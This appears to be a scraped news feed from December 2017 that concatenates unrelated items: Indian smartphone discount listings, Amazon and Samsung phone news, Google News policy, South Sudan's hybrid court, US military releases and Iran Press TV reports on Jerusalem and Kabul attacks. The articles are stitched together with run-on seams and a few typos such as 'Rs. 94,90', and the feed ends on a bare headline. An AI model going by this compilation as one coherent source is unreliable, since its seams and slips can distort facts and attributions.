Xiaomi has recently emerged as the most popular smartphone brand in India. The Chinese OEM is known for offering feature-rich devices that carry cheap price tags at the same time.

Well, if you want to get your hands on a new Xiaomi smartphone, now is the right time. Currently, Flipkart is giving attractive offers on Xiaomi phones including the Redmi Note 4, Mi Mix 2, Mi Max 2, Mi A and even the newly launched Redmi 5A. Flipkart is hosting a sale for Mi fans in India, No. 1 Mi Fan Sale, which will start tomorrow (December 20-21).

Xiaomi smartphones launched in 2017: Mi A1, Mi Note 3, Mi6, Redmi Note 4 and more

Xiaomi No. 1 Mi fan sale is a part of Christmas and New Year celebration where Xiaomi will offer discounts not only on smartphones, but also on popular Xiaomi products including power banks, headphones, accessories etc. Apart from Flipkart, customers can avail discounts on Mi.com as well.

Xiaomi Mi A1 MRP Price: 14,999

Offer Price: 12,999 Key Features 5.5-inch (1920 x 1080 pixels) Full HD 2.5D curved glass LTPS display, 450nit brightness, 1000:1 contrast ratio, Corning Gorilla Glass protection

2GHz Octa-Core Snapdragon 625 14nm processor with 650MHz Adreno 506 GPU

4GB RAM

64GB storage

expandable memory up to 128GB with microSD

Android 7.1.2 (Nougat), upgradable to Android 8.0 (Oreo)

Hybrid Dual SIM (micro + nano/microSD)

12MP rear camera with wide-angle lens

secondary 12MP camera with telephoto lens

5MP front-facing camera

4G VoLTE

3080mAh (typical) / 3000mAh (minimum) battery Xiaomi Redmi Note 4 MRP Price: Rs 12,999

Offer Price: Rs 10,999 Key Features 5.5-inch (1920 x 1080 pixels) Full HD 2.5D curved glass display, up to 72% NTSC color gamut, 1000:1 contrast ratio

2GHz Octa-Core Snapdragon 625 14nm processor with Adreno 506 GPU

2GB / 3GB RAM with 32GB storage (eMMC 5.0) / 4GB RAM with 64GB storage

expandable memory up to 128GB with microSD

MIUI 8 based on Android 6.0 (Marshmallow)

Hybrid Dual SIM (micro + nano/microSD)

13MP rear camera with PDAF

5MP front-facing camera

4G VoLTE

4000mAh (minimum) / 4100mAh (typical) battery Xiaomi Mi Mix 2 MRP Price: Rs 37,999

Offer Price: Rs 29,999 Key Features 5.99-inch (2160  1080 pixels) Full HD+ 18:9 display with 1500:1 contrast ratio, DCI-P3 color gamut

2.45GHz Octa-Core Snapdragon 835 64-bit 10nm Mobile Platform with Adreno 540 GPU

6GB LPDDR4x RAM with 64GB / 128GB / 256GB (UFS 2.1) storage

8GB LPDDR4x RAM with 128GB storage (Special Edition)

Android 7.1 (Nougat) with MIUI 9

Dual SIM (nano + nano)

12MP rear camera with Sony IMX386 sensor

5MP front-facing camera

4G LTE

3400mAh (typical) / 3300mAh (minimum) battery with Qualcomm Quick Charge 3.0 fast charging Xiaomi Mi MAX 2 MRP Price: Rs 16,999

Offer Price: Rs 14,999

Key Features 6.44-inch (1920 x 1080 pixels) Full HD IPS 2.5D curved glass display with 450nits brightness, 1000 : 1 contrast ratio, 72% NTSC color gamut

2GHz Octa-Core Snapdragon 625 14nm Mobile Platform with Adreno 506 GPU

4GB RAM with 64GB / 128GB storage, expandable memory with microSD

MIUI 8 based on Android 7.1.1 (Nougat)

Hybrid Dual SIM (micro+nano/microSD)

12MP rear camera with dual-tone LED Flash,

5MP front-facing camera

4G VoLTE

5300mAh (typical) / 5200mAh (minimum) battery with Quick Charge 3.0 Xiaomi Redmi 5A Key Features 5-inch (1280 x 720 pixels) HD IPS display with 1000: 1 contrast ratio, 72% (typ) / 68% (min) color gamut

1.4GHz Quad-Core Snapdragon 425 processor with 500MHz Adreno 308 GPU

2GB RAM

16GB internal storage

expandable memory up to 128GB with microSD

Android 7.1 (Nougat) with MIUI 9

Hybrid Dual SIM (micro + nano / microSD)

13MP rear camera with PDAF, LED Flash

5MP front-facing camera

4G VoLTE

3000mAh (typical) / 2910mAh (minimum)

Best Mobiles in India
Amazon India launching a new 10.or smartphone tomorrow News oi -Chandrika Amazon India is all set to launch a new smartphone in collaboration with Chinese brand 10.or tomorrow.

Amazon India is all set to launch a new smartphone in collaboration with Chinese brand 10.or tomorrow that is aimed to take on Flipkart's recently launched Billion Capture+ smartphone. However, this smartphone said to be made available for purchase not before January.

The brand 10.or (pronounced as Tenor) already has two smartphones under its name; 10.or E and 10.or G. These smartphones are available on Amazon India. So what's so special about the upcoming smartphone? Well, it is said to be crafted specially for Amazon. The popular e-commerce site has sent out press invites for tomorrow's launch event, which is to take place in New Delhi.

"We leverage the customer data and feedback to understand the gaps in the selection, pricing and reach out to our vendors or OEMs to manufacture relevant products," Manish Tiwary, vice president, Amazon India told the publication ET in a statement.

As of now, we have no information available on the specifications and the features of the 10.or smartphone that is to launch tomorrow. The pricing aspect is unknown as well. That being said, if the 10.or phone is to rival Flipkart's Billion Capture+ smartphone, it should fall into the sub 15K category. As per the information we have obtained, the handset will go on sale from January 5 onwards.

According to a report by IDC, the Chinese smartphone manufacturers control more than 50 percent of the Indian smartphone market. And, despite no lack of Chinese smartphones in India, there is still scope for a new brand to penetrate the market and capture some share.

If you recall, Amazon tried to enter the smartphone industry with the launch of Fire phones. Unfortunately, the devices failed to gain success in terms of sales. So it is likely that the company wants to re-enter the segment.

As claimed by Flipkart, the Billion Capture+ smartphone sold out entirely during the first sale. So we are waiting to see if Amazon's 10.or-branded gets to witness the same.

Best Mobiles in India

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Samsung Galaxy On5 Pro, Galaxy On7 Pro will get Rs. 2,000 discount during Happy Hours sale News oi -Abhinaya Prabhu

Back in the last week, Samsung held the first "Happy Hours" sale on Amazon India. The company offered the Galaxy On5 Pro and Galaxy On7 Pro smartphones at a considerable discount during the sale.

Following the success of the sale held on December 12, Samsung is hosting the second edition of the "Happy Hours" sale today. Again, the sale will be held on Amazon India and will be live between 12 PM and 2 PM today.

During the two hours of sale to happen later today, Samsung Galaxy On5 Pro and Galaxy On7 Pro smartphones will be listed for sale at discounted price points. To be specific, the Galaxy On5 Pro will be available for Rs. 6,990 and the Galaxy On7 Pro will be available for Rs. 7,490.

The company has mentioned that during the first edition of the "Happy Hours" sale in the last week, the search volume of the Galaxy On7 Pro spiked to almost three times on Amazon India, pointing out that the interest among the buyers for the budget smartphones from Samsung is still high.

Apart from the sale, the Galaxy On5 Pro is priced at Rs. 8,990 and the Galaxy On7 Pro is priced at Rs. 94,90. Apparently, the two-hour sale gives Rs. 2,000 discount for those who purchase these smartphones.

To recap the specifications, the Galaxy On5 Pro flaunts a 5-inch HD 720p display and makes use of a quad-core Exynos 3475 SoC paired with 2GB RAM. The main camera is an 8MP sensor with LED flash and f/2.2 aperture. At the front, there is a 5MP selfie camera with a similar aperture. The battery capacity is a 2600mAh battery on the 5-inch offering.

On the other hand, the Galaxy On7 Pro boasts of a larger 5.5-inch HD 720p display. Under its hood, there operates a quad-core Snapdragon 410 processor clocked at 1.2GHz that works in conjunction with 2GB RAM. The imaging aspects of the smartphone include a 13MP main camera at its rear with f/2.1 aperture and LED flash and a 5MP selfie camera as well. The battery capacity of the Galaxy On7 Pro is a 3000mAh battery. Both the smartphones have 16GB of default memory capacity that can be expanded further using a microSD card, 4G LTE, Bluetooth 4.1, and GPS.

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Google updates guidelines to purge news that hide country of origin News oi -Chandrika The move to keep deceptive sites from appearing in Google News doesn't come as a surprise as there is increasing pressure on the company to to prevent the spread of fake news.

Google's fight against fake new has been going on for a while now. It has recently updated its guidelines to prohibit sites that misrepresent or conceal their country of origin or are directed at users in another country under false premises.

"Sites included in Google News must not misrepresent, misstate, or conceal information about their ownership or primary purpose, or engage in coordinated activity to mislead users," reads the company guidelines. Moreover, Google allows publishers to file a spam report if they believe that another publisher has violated any one of Google News inclusion guidelines.

"While we may not take manual action in response to every report, spam reports are prioritized based on user impact, and in some cases may lead to complete removal of a spammy site from Google News results," said the search engine giant.

Websites are required to meet broad criteria to make an appearance in Google News results.

"We update our policies on a regular basis to reflect a constantly changing web and how people look for information online," stated a Google spokeswoman, reports Bloomberg.

"As a result, we want to ensure that people can understand and see where their news online is coming from and that sites are being transparent about their origins," she added further.

The move to keep deceptive sites from appearing in Google News doesn't come as a surprise as there is increasing pressure on the company to take each and every action possible to prevent the spread of fake news. However, we are still wondering if Google will be able to spot sites that hide their nation of origin.

If you recall, there were allegations of Russian websites trying to influence the 2016 US presidential election. Later on, the company even admitted that Russian agents did make use of its platforms, including YouTube and Google News, to spread propaganda.

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Australian motorcycle maker Hunter unveils five models

Rai Motors formally launched five models of motorbikes manufactured by Australian company, Hunter, in Nepal on Monday.
South Sudan Inches Closer to Hybrid Court on Conflict's Four-year Anniversary

By Ayen Bior, John Tanza Dimo, Silva December 17, 2017

A court to try alleged war criminals in South Sudan's conflict was one step closer to reality Friday, the fourth anniversary of the day hostilities began.

South Sudan's Council of Ministers and the African Union agreed last week to the contents of a document that defines the roles of the so-called "hybrid" court, according to Elizabeth Deng, a Nairobi-based researcher for Amnesty International.

"This is the document that would specify the criminal jurisdiction of the court, that would define the crimes that the court has the competency to investigate and prosecute. The statute would describe the structure and the composition of the court and the appointment procedure for the courts staff," Deng told VOA's South Sudan in Focus.

A 2015 peace deal between South Sudan's government and rebel groups called on the AU Commission to establish the court to investigate and prosecute individuals accused of violating international or applicable South Sudanese law since the conflict erupted in the capital, Juba. Progress has been excruciatingly slow.

"Over the past two years, the feeling of Amnesty International has been that the government of South Sudan has been a significant factor in delaying the court's establishment. They have been dragging their feet and reluctant ... to ensure it is established quickly," Deng said.

Parliament is expected to deliberate on the hybrid court statute next. It is not clear when a vote will take place.

Jehanne Henry, senior researcher at Human Rights Watch, said the step by the Council of Ministers appears to be progress, but the parliament must act next and act quickly.

"Sending the document to parliament is a step, but it is not necessarily a step that moves this thing forward unless it is followed up by a lot of other steps," Henry told South Sudan in Focus.

'We must learn lessons'

A policy analyst at the Juba-based Sudd Institute said the conflict has dragged on far too long and cannot continue.

Zachariah Diing Akol said all South Sudanese must stop and reflect on what the nation has gone through and learn from it.

"If it was just the individuals -- two, four or 100 -- we would not be where we are today. What is the power of a few individuals? All of us have fought in one way or the other. All of us must learn lessons," Akol said.

Akol said the suffering caused by the war has robbed South Sudanese of their livelihoods and dignity.

"Lives have been lost and they continue to be lost. Sources of livelihood of people are destroyed, people don't do what they used to do; they are relying on others and that is not a comfortable position to be in," Akol said.

Calls for peace from refugees

Meanwhile, hundreds of South Sudanese living in Uganda gathered Friday in Kampala to commemorate the fourth anniversary of the fighting and called on the warring parties to end the conflict.

Martha Nyayiey Gatluak, 22, said she fled to a camp run by the United Nations Mission in South Sudan (UNMISS) when war erupted in December 2013. Gatluak spent a year in the camp and later fled to Uganda with her family.

"I am calling on our leaders to bring us back together," Gatluak said. "From 2013, we don't party together, we sit in our separate ways. There is a lot of hatred in us, we don't love each other the way we used to. We should have peace in our country so we can go back as South Sudanese, not as tribes."

The fighting that erupted in Juba in late 2013 quickly spread to other parts of the country and took on ethnic overtones. The International Crisis Group said at least 100,000 people were killed during the first weeks of fighting.

The conflict led to a humanitarian crisis that has forced more than 4 million South Sudanese to flee their homes, with many relocating to Uganda, Sudan, Kenya and Ethiopia.

Peaceful dialogue urged

Elizabeth Nyakui Yien, 44, one of those who gathered in Kampala, urged South Sudan's leaders to end the war through peaceful dialogue.

"My message to the government or the [rebel] IO is that they should think twice because our life is at stake, we are not able to get the basic needs. My children do not go to school and there is not enough food that we get from the U.N.," Yien told South Sudan in Focus.

And as the country's leaders gather next week in Addis Ababa, Ethiopia, to try to revive the peace deal, South Sudanese refugees at Uganda's Morobi settlement say they want their leaders to hear the cries of the more than one million South Sudanese refugees and work towards genuine and lasting peace.

Modi Charles Sekwatoloko, a refugee leader at the settlement, said the refugees want peace more than anything else. He said the country's leaders must cast aside their differences and be prepared to make concessions.

"They [the refugees] have experienced the suffering here, so they feel if our leaders could really come down and reconcile themselves, then they give us that peace, we shall rejoice," Sekwatoloko said.

Mugume Davis Rwakaringi, Simon Peter Apiku contributed to this report.

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Coalition Strikes Continue Against ISIS in Syria, Iraq

From a Combined Joint Task Force Operation Inherent Resolve News Release

SOUTHWEST ASIA, Dec. 18, 2017  U.S. and coalition military forces continued to attack the Islamic State of Iraq and Syria between Dec. 15-17, conducting 19 strikes consisting of 26 engagements, Combined Joint Task Force Operation Inherent Resolve officials reported today.

Officials reported details of the most recent strikes, noting that assessments of results are based on initial reports.

Strikes in Syria

Yesterday in Syria, coalition military forces conducted eight strikes consisting of 13 engagements against ISIS targets near Abu Kamal. The strikes engaged eight ISIS tactical units.

On Dec. 16, coalition military forces conducted three strikes consisting of three engagements against ISIS targets near Abu Kamal, The strikes engaged two ISIS tactical units and destroyed two ISIS vehicles and an ISIS-held building.

On Dec. 15, coalition military forces conducted five strikes consisting of seven engagements against ISIS targets near Abu Kamal. The strikes engaged four ISIS tactical units and destroyed two ISIS vehicles two logistics centers, an ISIS headquarters, a fighting position and an explosive hazard.

Strikes in Iraq

Yesterday in Iraq, coalition military forces conducted a strike consisting of one engagement against ISIS targets near Rutbah. The strike destroyed an ISIS-held building.

There were no reported strikes in Iraq on Dec. 16.

On Dec. 15, coalition military forces conducted two strikes consisting of two engagements against ISIS targets near Rutbah. The strikes engaged an ISIS tactical unit and destroyed an ISIS fuel truck and an ISIS storage container.

Part of Operation Inherent Resolve

These strikes were conducted as part of Operation Inherent Resolve, the operation to destroy ISIS in Iraq and Syria. The destruction of ISIS targets in Iraq and Syria also further limits the group's ability to project terror and conduct external operations throughout the region and the rest of the world, task force officials said.

The list above contains all strikes conducted by fighter, attack, bomber, rotary-wing or remotely piloted aircraft; rocket-propelled artillery; and some ground-based tactical artillery when fired on planned targets, officials noted.

Ground-based artillery fired in counterfire or in fire support to maneuver roles is not classified as a strike, they added. A strike, as defined by the coalition, refers to one or more kinetic engagements that occur in roughly the same geographic location to produce a single or cumulative effect.

For example, task force officials explained, a single aircraft delivering a single weapon against a lone ISIS vehicle is one strike, but so is multiple aircraft delivering dozens of weapons against a group of ISIS-held buildings and weapon systems in a compound, having the cumulative effect of making that facility harder or impossible to use. Strike assessments are based on initial reports and may be refined, officials said.

The task force does not report the number or type of aircraft employed in a strike, the number of munitions dropped in each strike, or the number of individual munition impact points against a target.

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Bajaj Discover 125 being assembled in Ramgram

Hulas Auto-craft, a subsidiary of the Golchha Organisation, has been assembling the Bajaj Discover 125 two-wheeler made in India at a Rs700 million plant in Ramgram, Nawalparasi district.
TF 51/5 commences bilateral amphibious combat rehearsal

US Marine Corps News

By Susanna Marquardt | TF 51/5 | December 18, 2017

Naval Amphibious Force, Task Force 51, 5th Marine Expeditionary Brigade (TF 51/5) announced the commencement of a bilateral amphibious combat rehearsal, alongside the French, in international waters off the coast of Djibouti, Africa, yesterday.

During this iteration, TF 51/5 Sailors and Marines along with the 15th Marine Expeditionary Unit embarked aboard French Mistral-class amphibious assault ship LHD Tonnerre will work side-by-side to execute amphibious and maritime security operations training.

"Alligator Dagger provides an invaluable opportunity for the U.S. and France to enhance capabilities in critical mission sets inherent to our militaries operating in the U.S. Central Command's (CENTCOM) area of responsibly (AOR)," said Brig. Gen. Francis Donovan, TF 51/5's commanding general. "This rehearsal is a continuation of the professional development of our forces, allies and partner nations and furthers our efforts toward ensuring regional stability, freedom of navigation and the free flow of commerce within one of the most dynamic regions in the world."

According to Donovan, Alligator Dagger is the largest regional amphibious combat rehearsal to synchronize TF 51/5, U.S. Naval Forces Central Command and Special Operations Forces' warfighting capabilities. This is the first time TF 51/5 Sailors and Marines have embarked upon a French vessel to rehearse power projection capabilities in the CENTCOM AOR.

"This exercise is a cornerstone for the amphibious Task Group," said Capt. Nicolas Vaujour, commander of France's amphibious task group. "It will enhance French-U.S. interoperability and will provide to French and US authorities a credible operational capability at sea, from the sea and ashore."

Alligator Dagger is the premier integrated combat proficiency training for TF 51/5's subordinate units entering the CENTCOM AOR. Specifically, this bilateral training will enable military forces to hone their skills in amphibious operations, air defense, non-combatant evacuation, quick-reaction force, replenishment-at-sea, tactical recovery of aircraft and personnel as well as visit, board, search and seizure.

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NATO Deputy Secretary General visits Yerevan and thanks Armenia for contributions to NATO missions

NATO - North Atlantic Treaty Organisation

18 Dec. 2017

The NATO Deputy Secretary General, Ms. Rose Gottemoeller, visited Yerevan on Monday 18 December 2017 and met with President Serzh Sargsyan, with Minister of Foreign Affairs Edward Nalbandian, with Minister of Defence Vigen Sargsyan and with the President of the National Assembly, Mr. Ara Babloyan.

Speaking at a press conference with Minister of Foreign Affairs Nalbandian, the Deputy Secretary General thanked Armenia for the important contribution to the Alliance's Resolute Support mission in Afghanistan and for the contribution to the KFOR peacekeeping mission in Kosovo.

Ms Gottemoeller said that earlier this year Armenia agreed to a new Individual Partnership Action Plan with NATO and that Armenia has chosen to work with NATO more closely on interoperability, defence education, and defence reform.

"We stand ready to continue working with you on all the areas that you have chosen", she said.

Ms. Gottemoeller also thanked Armenia for organising the NATO Week and the workshop on Women, Peace and Security in Yerevan. The initiative on Women, Peace and Security was first launched as a United Nations Security Council Resolution, promoting the rights and the leadership of women, both in and out of conflict zones. "Societies are safer and fairer when women are empowered to take full part", Ms Gottemoeller said.

All NATO Allies and partners in the Euro-Atlantic Partnership Council adopted a policy and plan to implement the main planks of the United Nations Resolution on Women, Peace and Security. Ms. Gottemoeller said that NATO is ready to continue assisting Armenia in implementing the policy on Women, Peace and Security.

"So we are able to work together in many different fields", the Deputy Secretary General said. "Cooperation between NATO and Armenia is in our mutual interest".

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CNO Meets with Japanese Prime Minister Shinzo Abe

Navy News Service

Story Number: NNS171218-13

Release Date: 12/18/2017 10:34:00 AM

From Chief of Naval Operations Public Affairs

TOKYO (NNS) -- Chief of Naval Operations Adm. John Richardson met with Japanese Prime Minister Shinzo Abe, Monday, in Tokyo to strengthen the military alliance between the United States and Japan.

Richardson reaffirmed the U.S. Navy's ironclad commitment to deepening security cooperation with the Japanese Maritime Self-Defense Force (JMSDF) and discussed new opportunities for combined operations.

The U.S. Navy and the JMSDF routinely conduct combined maritime exercises and operate together to promote peace and security in the Indo-Asia-Pacific region.

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USS Vella Gulf Returns from Eight Month Deployment

Navy News Service

Story Number: NNS171218-03

Release Date: 12/18/2017 9:38:00 AM

By Ensign Elizabeth Moon, USS Vella Gulf Public Affairs

NORFOLK (NNS) -- The guided-missile cruiser USS Vella Gulf (CG 72) returned to its homeport at Norfolk Naval Station, Dec. 15, following an eight-month deployment to the U.S. 5th Fleet area of operation.

Vella Gulf departed Norfolk April 23, as an independent deployer, to support maritime security operations in the Arabian Gulf. With their ballistic missile defense capability, the cruiser and its crew were an asset there for more than six months.

In July, Vella Gulf joined the USS Nimitz (CVN 68) Carrier Strike Group for three months, during which they conducted air strikes against ISIS targets in Iraq and Syria. They also conducted six multinational operations with Morocco; United Arab Emirates; Pakistan; Iraq; and Kuwait.

"Despite the short amount of time onboard, I have learned a lot working with this team and the strike group," said Ensign Alec Phillips, the ship's gunnery officer, who reported to the ship halfway through deployment. "The experience I have gained is something that I can take forward with me during the ship's next deployment."

Nearly 200 days of the 237-day deployment were spent underway, including 59 consecutive days. The ship traveled 49,130 nautical miles, completed 26 underway replenishments, 18 small boat operations, 18 strait transits, and two swim calls in the Arabian Gulf.

The crew visited Manama, Bahrain on four occasions. They also visited Rota, Spain and Agadir, Morocco.

"This is my fourth deployment and every single one has been a learning experience," said Chief Gunner's Mate Anthony Sickler. "This is a very young crew and I am impressed with how quickly we came together to achieve our mission."

While deployed, the crew held a change of command ceremony in which Capt. Rob Thompson relieved Capt. Mark Oberley as commanding officer. They also celebrated the selection of five new chief petty officers, as well as 90 Sailors who qualified as Enlisted Surface Warfare Specialists, four who earned Enlisted Air Warfare Specialists pins, and eight who qualified as Surface Warfare Officers.

Helicopter Maritime Strike Squadron 46, Detachment Four was aboard the Vella Gulf throughout the deployment. With two MH-60R Seahawk helicopters, the air crews logged 670 flight hours and 494 deck landings in support of anti-submarine and surface warfare operations.

The ship's operational requirements extended the deployment but allowed the crew to make it home for the Christmas and New Year's holiday.

"I am inspired by Vella Gulf Sailors every single day," said Thompson. "It was a challenging work-up cycle and a long deployment that saw two unplanned extensions and very few liberty ports. Throughout it all, the crew demonstrated incredible commitment and toughness; it was an honor to sail with them.

"I wish every American could be here on the pier today to celebrate the Sailors and their families who do so much to safeguard our freedom," Thompson added.

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Iran condemns US veto of UNSC resolution rejecting Trump's al-Quds move

Iran Press TV

Mon Dec 18, 2017 09:00PM

Iran has condemned Washington's vetoing of a UN Security Council's resolution aimed at voiding US President Donald Trump's move to recognize Jerusalem al-Quds as Israel's capital.

Iran's ambassador to the United Nations Gholamali Khoshroo, slammed the move on Monday, stressing that it was proof that the US is a main supporter of the Tel Aviv regime's occupation and aggression.

"The US wishes to remove solving Palestine's problems from the UN's agenda by twisting reality and misleading public opinion," he said.

He added that it was also another example of Washington's hostility towards Muslims and the free world.

Iranian Foreign Ministry spokesman Bahram Qassemi also censured the veto, noting that it was aimed at cracking down on Palestinians' rights and goes against regional peace and security.

"With its unwise and provocative move of officially recognizing Jerusalem al-Quds as Israel's capital, the US showed its lack of adherence to international resolutions," he said.

Iran "severely condemns" this move and calls on the international community to halt its execution in order to calm regional tensions, he added.

The US' veto of the resolution showed that it is violating the legitimate rights of all Palestinians, Qassemi added.

US has lost its objectivity: Turkey

Meanwhile, the Turkish Foreign Ministry has issued a statement voicing its shock over Washington's reaction, saying the US had "lost objectivity" and it was unacceptable for the UN Security Council to be left "ineffective" with such a measure.

Fourteen members of the 15-member council voted on Monday in favor of the Egyptian-drafted resolution, which did not specifically name the US or Trump but expressed "deep regret at recent decisions concerning the status of Jerusalem," while US Ambassador Nikki Haley wielded Washington's veto against the call.

Washington's key allies the UK, Italy, France, Ukraine and Japan were all among the 14 countries that voted in favor of the measure, which asserted that "any decisions and actions, which purport to have altered the character, status or demographic composition of the Holy City of Jerusalem [al-Quds] have no legal effect, are null and void and must be rescinded in compliance with relevant resolutions of the Security Council."

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US vetoes UNSC resolution rejecting Trump's al-Quds decision

Iran Press TV

Mon Dec 18, 2017 07:05PM

The United States has been further isolated after it vetoed a UN Security Council's resolution calling for the annulment of US President Donald Trump's controversial bid to recognize Jerusalem al-Quds as Israel's capital.

Fourteen members of the 15-member council voted on Monday in favor of the Egyptian-drafted resolution, which did not specifically name the US or Trump but expressed "deep regret at recent decisions concerning the status of Jerusalem" al-Quds, while US Ambassador Nikki Haley wielded Washington's veto against the call.

"What we witnessed here in the Security Council is an insult. It won't be forgotten. We do it [the veto] with no joy, but we do it with no reluctance," said Haley after casting the US veto.

"The fact that this veto is being done in defense of American sovereignty and in defense of America's role in the Middle East peace process is not a source of embarrassment for us; it should be an embarrassment to the remainder of the Security Council," She further said after the vote.

Washington's key allies the UK, Italy, France, Ukraine and Japan were all among the 14 countries that voted in favor of the measure, which asserted that "any decisions and actions, which purport to have altered the character, status or demographic composition of the Holy City of Jerusalem [al-Quds] have no legal effect, are null and void and must be rescinded in compliance with relevant resolutions of the Security Council."

Palestinians slam US veto of UN resolution on Jerusalem al-Quds

In a statement released shortly after the UNSC vote, the Palestinian government strongly denounced as "unacceptable" the American veto, saying the highly provocative move "threatens the stability of the international community because it disrespects it."

Speaking to reporters, Nabil Abu Rudeina, a spokesman for Palestinian President Mahmoud Abbas, said the US veto of the UN resolution was "unacceptable and threatens the stability of the international community, because it disrespects it."

Abu Rudeina said the support for the resolution, which included US allies France, Italy and Japan, "showed the (American) isolation," adding, "The international community must work now to protect the Palestinian people."

On December 6, Trump announced his decision to recognize Jerusalem al-Quds as Israel's capital and relocate the US embassy in occupied lands from Tel Aviv to Jerusalem al-Quds.

The dramatic shift in Washington's policy vis-a-vis the city triggered demonstrations in the occupied Palestinian territories, Iran, Turkey, Egypt, Jordan, Tunisia, Algeria, Iraq, Morocco and other Muslim countries.

On December 10, violent clashes erupted outside the US embassy in the Lebanese capital Beirut during a protest against the US decision. Demonstrators burnt tires as well as the US and Israeli flags as they pushed to break through a barbed wire erected by security forces around the embassy complex. Security forces used tear gas and water cannon to disperse the angry protesters.

Jerusalem al-Quds remains at the core of the Israeli-Palestinian conflict, with Palestinians hoping that the eastern part of the city would eventually serve as the capital of a future independent Palestinian state.

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Assault on Kabul intelligence training center ends as attackers killed: Afghan police

Iran Press TV

Mon Dec 18, 2017 06:04PM

Afghan officials say an assault claimed by the Daesh Takfiri terror group on an intelligence facility in the capital Kabul ended after police killed the attackers.

Kabul police spokesman Basir Mujahid said two police officers were injured during an intense fighting, but there were no civilian casualties.

"The attack has ended. Two attackers were killed... only two police were wounded," the spokesman noted.

An unnamed source with the National Directorate of Security (NDS), however, said that at least three assailants were killed in the ensuing gun battle.

"They were well hidden in buildings under construction. We exploded their VBIED (vehicle-borne improvised explosive device) and killed two or three of them," the source said.

Local residents and witnesses said that roads to the area had been closed and dozens of police and intelligence officers had blocked access to the public during the assault.

"I was going toward my school. It (the attack) happened suddenly... the police arrived in the area fast and blocked the roads, not allowing anyone to get to their homes," AFP quoted an Afghan student as saying.

On Monday morning, militants stormed an under-construction facility belonging to the NDS, triggering gunfight with security forces. The attackers used rocket-propelled grenades and light weapons.

Daesh claimed responsibility for the attack via its propaganda outlet.

Elsewhere in the country, a Taliban attacker late on Monday detonated a car bomb in Lashkar Gah, the capital of the southern Helmand province, killing at least two civilians and wounding 30 people.

Ghafar Sapay, Helmand police chief, said that at least a dozen of the wounded were police personnel.

In recent months, the Afghan capital has become one of the deadliest places for civilians, as the resurgent Taliban and increasingly Daesh both step up their attacks on civilians and security installations.

On May 31, a massive truck bomb ripped through the city's diplomatic quarter, killing about 150 people and wounding around 400, mostly civilians. No group officially claimed responsibility for that attack, which the Kabul government blamed on the Taliban-allied Haqqani Network.

A spate of attacks in October claimed the lives of around 150 people across the country.

Last month, a Daesh terrorist blew up his explosives outside a political gathering in Kabul, killing at least 14 people.

Daesh has been seeking to expand its presence in Afghanistan after losing the territories under its control in Iraq and Syria, where it first emerged in 2014.

Afghanistan is engulfed by violence and many parts of the country remain plagued by militancy despite the presence of foreign troops. The United States and its NATO allies invaded the country as part of Washington's so-called war on terror in 2001, which toppled the Taliban.

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US plans to confront China, Russia in new national security strategy

Iran Press TV

Mon Dec 18, 2017 03:06PM

US President Donald Trump is poised to present a new national security strategy that envisions a world in which the United States confronts China and Russia  the two powers which are challenging American global hegemony.

"China and Russia want to shape a world antithetical to US values and interests," according to the hard-hitting text released Monday, just before Trump will provide details about his plan in a speech later in the day.

"China seeks to displace the United States in the Indo-Pacific region, expand the reaches of its state-driven economic model, and reorder the region in its favor," the text reads.

"Russia seeks to restore its great power status and establish spheres of influence near its borders," it adds.

Trump's strategy, according to senior administration officials who offered a preview Sunday, outlines a detailed plan to push back against China's global economic ambitions, but does not say much about how Russia will be confronted, according to The New York Times.

The plan is the first comprehensive effort by the Republican president to describe an all-encompassing strategic worldview, and the one which if fully implemented could radically alter America's relationships with the rest of the world.

"We will promote a balance of power that favors the United States, our allies, and our partners," the document says. "We will never lose sight of our values and their capacity to inspire, uplift, and renew. Most of all, we will serve the American people and uphold their right to a government that prioritizes their security, their prosperity, and their interests," it adds.

Trump administration officials said the strategy was drawn from speeches the president had delivered during his 2016 presidential campaign, and later on he made in Europe and Asia and at the United Nations.

Trump's doctrine reportedly focuses on four main themes: protecting the US homeland and American way of life; promoting US economic prosperity; demonstrating peace through military power; and advancing American influence in an increasingly competitive world.

According to details of the national security strategy to be presented by Trump, nation states around the world are in unending competition and that America must fight on all fronts to protect and defend its sovereignty from both friends and foes.

"After being dismissed as a phenomenon of an earlier century, great power competition returned," the document claims.

China and Russia, the document says, "are determined to make economies less free and less fair, to grow their militaries, and to control information and data to repress their societies and expand their influence."

"These competitions require the United States to rethink the policies of the past two decades  policies based on the assumption that engagement with rivals and their inclusion in international institutions and global commerce would turn them into benign actors and trustworthy partners," the document continues. "For the most part, this premise turned out to be false."

The plan will make clear that America will stand up for itself even if that means acting unilaterally or alienating allies on issues like international trade, climate change and immigration. And Trump will de-emphasize multinational agreements that have dominated America's foreign policy since the Cold War.

It is in contrast with the strategy of former President Barack Obama who in 2015 declared climate change an "urgent and growing threat to our national security."

According to Trump's aides, Trump has passionately approved the strategy and wanted to announce it himself on Monday afternoon. Obama and former President George W. Bush did not announce their national security strategies themselves.

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Daesh gunmen raid intelligence training facility in Afghan capital, gunfight underway

Iran Press TV

Mon Dec 18, 2017 09:25AM

Daesh militants have stormed an under-construction facility belonging to the National Directorate of Security (NDS) in the Afghan capital Kabul, triggering an intense gunfight with security forces.

"Around 10:10 am, a group of armed attackers entered an under-construction building in (the) NDS training center in (the) Afshar area of Kabul," said Interior Ministry spokesman Najib Danish on Monday.

He said "the fighting is ongoing and we have also launched our operation," adding that "the number of attackers, possible casualties and their target is not yet clear."

Nasrat Rahimi, deputy spokesman for the ministry, also said reinforcements had been dispatched to the scene.

The officials said the attackers used rocket-propelled grenades and light weapons.

The Takfiri terror group Daesh has claimed responsibility for the attack via its propaganda outlet.

In a separate attack elsewhere, the district chief of Aab Kamari in Badghis Province, Abdul Rasoul, was killed in a gunfight with Taliban militants on Sunday night.

Two other policemen were wounded in the same incident, according to security sources on Monday

The clashes took place after Taliban militants attacked a police post as Rasoul was on his way to support the forces, provincial police chief, Abdul Raouf Taj said.

"Abdul Rasoul and another policeman were killed in a Taliban ambush when they wanted to help the security forces who were under attack," Taj said.

In another incident, a government checkpoint in the southern Helmand Province came under fire early Sunday. 11 police officers lost their lives, an official said.

Omar Zwak, the spokesman for the provincial governor, said Afghan forces repelled the attack after four hours of gunfight in the provincial capital Lashkar Gah. Zwak said the militants suffered casualties.

Taliban militants launch attacks across the country on an almost daily basis, despite the presence of thousands of foreign troops on Afghan soil.

Exploiting the chaos, the Daesh terror group has been seeking to expand its presence in Afghanistan after losing the territories under its control in Iraq and Syria, where it first emerged in 2014.

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Hernandez declared winner of Honduras presidential race, opposition calls for rallies

Iran Press TV

Mon Dec 18, 2017 07:46AM

